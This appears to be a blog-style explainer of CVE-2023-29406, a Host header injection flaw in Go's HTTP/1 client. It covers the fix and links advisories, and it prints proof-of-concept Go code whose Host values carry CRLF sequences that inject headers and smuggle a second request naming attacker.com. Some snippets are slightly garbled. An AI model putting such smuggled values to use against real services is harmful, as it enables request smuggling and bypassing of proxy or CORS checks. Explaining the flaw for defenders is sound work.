The security world is always on alert for new and subtle ways to trick software into doing things it shouldn't. One such bug, named CVE-2023-29406, was discovered in Go's net/http client, and its impact is surprisingly broad for such a small oversight.
Below, we'll break down what the issue is, why it matters, how attackers might exploit it, give code examples, and point you to original references and patches. We'll keep things clear and simple, using easy language and practical examples.
What is CVE-2023-29406?
In short: Go's HTTP/1 client didn't properly validate the Host header before sending requests. A smart attacker could craft a Host value that injects extra headers—or, worse, extra requests—by sneaking in newline characters and creative formatting.
Why is this bad? If a server trusts the Host header, weird or malicious Host values could lead to data leaks, unauthorized actions, or help bypass security checks.
How Does the Vulnerability Work?
Imagine this: HTTP headers are just plain text lines, separated by newline (\n) or carriage return and newline (\r\n). Most HTTP servers and clients split headers on these lines.
If you send this (abbreviated) request
GET /some/path HTTP/1.1
Host: normal.com
User-Agent: Go
But what happens if someone sets the Host header like this
client := &http.Client{}
req, _ := http.NewRequest("GET", "http://target/";, nil)
req.Host = "example.com\r\nX-Injected: evil"
client.Do(req)
Now, because Go didn't validate Host well enough, it sends
Host: example.com
X-Injected: evil
The server now sees (and possibly honors) a brand new header, supplied by the attacker.
A truly evil example
req.Host = "victim.com\r\nGET /secret HTTP/1.1\r\nHost: attacker.com"
Depending on server logic, this can make the server see *two* requests—one the application wanted, another the attacker slipped in—a classic "request smuggling" trick.
Hijack or confuse reverse proxies: Proxies and load balancers trusting Host can be fooled.
- Bypass CSP or CORS: If the wrong host is processed, Origin/CORS rules can be subverted.
Vulnerable Go code (before patch)
package main
import (
"net/http"
"fmt"
)
func main() {
client := &http.Client{}
req, _ := http.NewRequest("GET", "http://localhost:808/";, nil)
req.Host = "example.com\r\nX-Fake: hacked"
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error:", err)
return
}
fmt.Println("Response code:", resp.StatusCode)
}
If you run a local HTTP server, you'll find your server receives
Host: example.com
X-Fake: hacked
The Fix: No More Trusting Suspicious Host Values
The Go team updated the net/http code to refuse requests with Host or URL.Host values containing illegal characters (like \r or \n).
Commit that fixed it:
https://github.com/golang/go/commit/9e433dbbe8c1404e8943928926ac2bba1dd18cc3
Changelog entry:
https://go.dev/cl/484357
After the patch, the previous exploit code triggers an error like
http: invalid Host header
Official Go Security Advisory:
https://go.dev/cl/484357
https://groups.google.com/g/golang-announce/c/sXe1qqzyS3g
NVD entry (CVE database):
https://nvd.nist.gov/vuln/detail/CVE-2023-29406
- Exploit writeups / reports:
- Snyk Advisory
Review logs: Check for weird Host header values.
4. Defense-in-depth: Use strict header validation everywhere you process Host, both in clients and servers.
Conclusion
CVE-2023-29406 is a classic example of how a small validation flaw can open the door to big security bugs. The Go team fixed it fast, but developers running older versions or writing their own similar code should be on their guard.
Always sanitize user input, especially for critical fields like Host—because attackers are always looking for creative ways in.
*If you enjoyed this breakdown, follow the official Go blog and keep your dependencies up to date. Small bugs sometimes make the biggest headlines!*
Timeline
Published on: 07/11/2023 20:15:00 UTC
Last modified on: 08/14/2023 19:15:00 UTC